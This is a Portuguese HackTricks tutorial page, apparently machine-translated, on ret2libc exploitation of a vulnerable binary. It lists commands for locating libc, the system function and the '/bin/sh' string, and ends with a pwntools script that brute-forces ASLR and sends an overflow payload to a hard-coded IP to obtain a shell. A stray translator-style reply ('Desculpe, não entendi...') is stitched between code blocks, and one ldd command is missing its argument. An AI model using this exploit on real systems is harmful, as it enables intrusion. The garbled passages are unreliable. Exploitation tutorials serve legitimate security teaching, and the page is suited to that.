☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! - Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) - **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
**Se você encontrou um binário vulnerável e acha que pode explorá-lo usando Ret2Lib, aqui estão alguns passos básicos que você pode seguir.** # Se você está **dentro** do **host** ## Você pode encontrar o **endereço da lib**c ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` Se você deseja verificar se o ASLR está alterando o endereço do libc, você pode fazer o seguinte: ```bash for i in `seq 0 20`; do ldd | grep libc; done ``` ## Obter o deslocamento da função system Para explorar uma vulnerabilidade de retorno para a biblioteca (ret2lib), precisamos saber o deslocamento da função `system` na biblioteca `libc`. Podemos obter esse deslocamento usando a ferramenta `objdump`. Primeiro, precisamos encontrar a biblioteca `libc` usada pelo programa. Podemos fazer isso usando o comando `ldd`: ```bash $ ldd /bin/ls linux-vdso.so.1 => (0x00007ffce8bfe000) libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f5d5d3c2000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d5cf00000) libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f5d5cc8f000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f5d5ca8b000) /lib64/ld-linux-x86-64.so.2 (0x00007f5d5d7c8000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f5d5c86e000) ``` Neste exemplo, a biblioteca `libc` está localizada em `/lib/x86_64-linux-gnu/libc.so.6`. Agora podemos usar o `objdump` para encontrar o deslocamento da função `system` na biblioteca `libc`: ```bash $ objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep system 000000000004f440 w DF .text 0000000000000036 GLIBC_2.2.5 system ``` O deslocamento da função `system` é `0x4f440`. ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` ## Obter o deslocamento de "/bin/sh" ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` ## /proc/\/maps Se o processo estiver criando **filhos** toda vez que você se comunica com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root). Aqui você pode encontrar **exatamente onde a libc é carregada** dentro do processo e **onde será carregada** para cada filho do processo. ![](<../../.gitbook/assets/image (95).png>) Neste caso, ela é carregada em **0xb75dc000** (este será o endereço base da libc) ## Usando gdb-peda Obtenha o endereço da função **system**, da função **exit** e da string **"/bin/sh"** usando gdb-peda: ``` p system p exit find "/bin/sh" ``` # Bypassando o ASLR Você pode tentar forçar a barra para encontrar o endereço base do libc. ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` Desculpe, não entendi o que você quer dizer com "Code". Você pode me dar mais informações ou contexto? ```python from pwn import * c = remote('192.168.85.181',20002) c.recvline() #Banner for off in range(0xb7000000, 0xb8000000, 0x1000): p = "" p += p32(off + 0x0003cb20) #system p += "CCCC" #GARBAGE p += p32(off + 0x001388da) #/bin/sh payload = 'A'*0x20010 + p c.send(payload) c.interactive() #? ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! - Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) - **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.